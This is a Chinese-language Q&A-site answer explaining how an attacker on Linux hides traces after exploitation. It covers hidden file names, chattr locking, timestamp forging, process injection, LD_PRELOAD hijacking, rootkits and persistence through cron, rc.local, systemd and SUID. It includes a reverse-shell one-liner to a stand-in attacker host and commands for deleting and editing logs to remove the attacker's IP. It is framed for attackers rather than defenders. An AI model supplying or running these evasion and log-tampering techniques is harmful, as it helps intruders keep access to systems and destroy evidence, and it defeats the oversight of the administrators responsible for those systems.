温馨提示×

Linux exploit怎样隐藏自己踪迹

小樊
47
2025-09-24 17:44:54
栏目: 智能运维

Linux Exploit隐藏踪迹的常见方法

1. 隐藏文件与目录

攻击者通过多种方式使恶意文件规避常规检测:

  • 命名诡计:使用不可打印字符(如..、空字符)命名文件/目录,或模仿系统目录名称(如/tmp/.ICE-unix/),避免被ls等工具默认显示。
  • 修改文件属性:用chattr +i命令锁定文件(如chattr +i evil.sh),使文件无法被删除、修改或查看(需lsattr命令查看属性),即使管理员尝试删除也会失败。
  • 隐藏时间戳:用touch -r命令复制合法文件的时间戳(如touch -r /etc/passwd malicious.sh),使恶意文件与系统文件时间一致,避免因时间差异被怀疑。

2. 隐藏进程信息

通过修改系统内核或进程管理工具,使恶意进程在pstop等工具中“隐形”:

  • 修改进程列表:通过rootkit技术修改内核的task_struct结构(进程描述符),过滤掉恶意进程的显示(如经典的adore rootkit)。
  • 进程注入:将恶意代码注入合法进程(如sshdbash),利用ptrace系统调用附加到目标进程,执行恶意代码后分离,使恶意进程“寄生”在合法进程中(如linux-inject工具)。
  • LD_PRELOAD劫持:通过设置LD_PRELOAD环境变量,加载恶意共享库(如/tmp/malicious.so),在程序启动时优先执行恶意代码(如隐藏进程、修改函数行为)。

3. 隐藏网络连接

避免被netstatsstcpdump等工具检测到恶意网络活动:

  • 反向隧道:配置恶意程序主动连接攻击者服务器(如bash -i >& /dev/tcp/attacker.com/4444 0>&1),而非等待攻击者连接,绕过防火墙的入站规则。
  • 端口复用:使用sslh等工具将恶意流量伪装成合法协议(如HTTPS),或绑定到常用端口(如80、443),避免因非常用端口引起怀疑。
  • 修改网络堆栈:通过内核模块(如LKM)截获网络系统调用(如socketconnect),过滤掉与恶意IP/端口的连接信息,使netstat无法显示。

4. 清除或篡改日志记录

删除或修改系统日志中的痕迹,避免管理员通过日志追踪攻击路径:

  • 删除关键日志:用rm命令删除/var/log/目录下的日志文件(如utmpwtmplastlogmessages),或用shred命令安全删除(覆盖多次防止恢复)。
  • 篡改日志内容:用sedawk等工具修改日志中的敏感信息(如登录记录、命令执行记录),例如删除包含自身IP的last日志条目(last | grep -v "attacker_ip" > last.tmp && mv last.tmp last)。
  • 替换系统工具:用rootkit替换lspsnetstat等命令(如LinuxRootKit),使其跳过恶意文件/进程的显示,同时修改日志生成逻辑,避免记录自身活动。

5. 利用Rootkit技术

Rootkit是一组工具的集合,提供全面的隐藏功能:

  • 进程隐藏:通过修改内核数据结构(如task_struct),过滤掉恶意进程的显示(如knark rootkit的hideproc功能)。
  • 文件隐藏:拦截openreaddir等系统调用,使lsfind等命令无法列出恶意文件(如adore rootkit的hidefile功能)。
  • 网络隐藏:修改socketaccept等系统调用,隐藏恶意网络连接(如sebek rootkit的网络过滤功能)。
  • 日志隐藏:拦截syslog相关的系统调用,防止日志记录攻击活动(如lrk5 rootkit的loghide功能)。

6. 持久化隐藏

确保攻击痕迹在系统重启后仍存在:

  • 计划任务:通过crontab -e添加定时任务(如* * * * * /tmp/malicious.sh),或修改系统级计划任务(如/etc/crontab/etc/cron.daily/中的脚本),定期执行恶意程序。
  • 开机启动:将恶意程序添加到/etc/rc.local(开机执行)、/etc/init.d/(传统服务)或systemd服务(如ebpf_backdoor.service),实现开机自启。
  • SUID/SGID滥用:将恶意程序设置为SUID root(如chmod u+s /tmp/malicious.sh),使普通用户执行时获得root权限,便于长期驻留系统。

0